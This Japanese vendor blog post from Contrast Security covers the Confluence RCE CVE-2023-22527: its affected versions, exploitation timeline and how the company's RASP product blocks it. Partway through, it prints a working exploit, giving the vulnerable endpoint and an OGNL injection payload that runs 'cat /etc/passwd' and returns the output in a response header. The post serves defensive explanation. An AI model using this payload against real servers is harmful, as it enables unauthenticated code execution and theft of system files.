ContrastのランタイムセキュリティがConfluenceの重大なゼロデイ脆弱性をブロック
コントラストブログを購読する
私たちのブログを購読することで、最新のappsecニュースをすべて把握し、ベストプラクティスを開発できます。また、最新のコントラスト製品ニュースとエキサイティングなアプリケーションセキュリティイベントについても通知されます。
古いバージョンの「Atlassian Confluence Server 」を使用していて、最近発見された重大なリモートコード実行(RCE)のゼロデイである CVE-2023-22527の影響を受ける場合は、次のいずれかであるはずだ:
Atlassianでは、セキュリティアドバイザリを1月16日公開した。この脆弱性は、Confluence Data CenterおよびServerの古いバージョンにテンプレートインジェクションの脆弱性があり、認証されていない攻撃者が、影響を受ける対象バージョンでリモートコードを実行(RCE)できる可能性がある。Atlassianは、影響を受ける対象バージョンを使用しているユーザに早急な対応を求めた。
共通脆弱性識別子(CVE)は、CVSS評価が10点中の10点で最も深刻度の高いスコアとなった。2023年12月5日以前にリリースされたConfluence Data CenterおよびServer 8のバージョンで、Confluenceバージョン8.0.0から8.5.3に影響する。
実証コード(PoC)が1月21日に公開され、その後すぐにCVE-2023-22527を悪用する試みが数千件行われた。1月22日には、インターネット上の脅威を監視しているShadowserver財団は、同財団のサーバが600以上の個別のIPアドレスから発信された攻撃を観測していると報告した。
上記は攻撃の一例だ。以下のエンドポイントを利用する。
/template/aui/text-inline.vm
そして、以下のOGNL(Object-Graph Navigation Language)式を利用した攻撃を注入する。
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"cat /etc/passwd"}))
これにより、クラス freemarker.template.utility.Executeがインスタンス化され、exec()メソッドが呼び出される。そして、 java.lang.Runtime.exec() が呼び出され、配下にあるオペレーティング システム上でコマンドが実行される。 この例では、実行されるのは次のコマンドだ。
cat /etc/passwd
実行結果が「X-Cmd-Response」というHTTPレスポンスヘッダに格納される。これにより、コマンドの実行結果が攻撃者に返されることになる。
ContrastのランタイムセキュリティのRASP(Contrast Protect)では既に、この脆弱性や類似の脆弱性を防いでいる。Contrast Protectの式言語(EL)ルールによって...
そして、リクエストには「200 OK」(リクエスト成功)が返されるが、余計なヘッダは作成されずに攻撃者に返される。
Confluenceの深刻な脆弱性はこれが初めてではない。CVE-2022-26134やCVE-2021-26084などの同様の攻撃がこれまでに発見されており、すぐに悪用されている。残念ながら、今後さらにこのような脆弱性が見つかる可能性がある。
実は、CVE-2023-22527が、Contrastの「発見前にブロックされたゼロデイの殿堂入り」を果たして、その数は12となった。
発見前にブロックされたゼロデイ
Contrastは組み込みの検出ルールによって脆弱性の悪用を検出して防止する
Contrastが発見前(CVEが発行される前)に防いだゼロデイの例:
Contrastは、常に新しいエクスプロイトやCVEを研究し、
リアルタイム防御のためのContrast Protectルールを向上/強化している(例えば、JDNIルールの改良や「クロスローダの改ざんルール」の追加など)。
Contrastのランタイムセキュリティプラットフォームは、ビジネスに害を与えようとするハッカーにアプリケーションが絶え間なく攻撃されるという事実に対応するために作られた。完全に脆弱性のないアプリケーションを作成することは事実上不可能であるものだと考えている。ランタイムセキュリティエージェントは、複数の技術を駆使した高精度なセンサーとランタイムの動的な制御を活用することで、既知の脅威とゼロデイ攻撃の両方を継続的に検知・防御する。これは、インストルメンテーションベースのアプローチを提供し、セキュリティの導入と拡張性を簡素化することができる。
Confluenceやその他の安全でない可能性のあるアプリケーションにランタイムセキュリティを使用することで、セキュリティ体制を改善できる。
ゼロデイに対する RASPソリューションである、Contrast Protectのデモについてはこちら。
関連記事/資料:
私たちのブログを購読することで、最新のappsecニュースをすべて把握し、ベストプラクティスを開発できます。また、最新のコントラスト製品ニュースとエキサイティングなアプリケーションセキュリティイベントについても通知されます。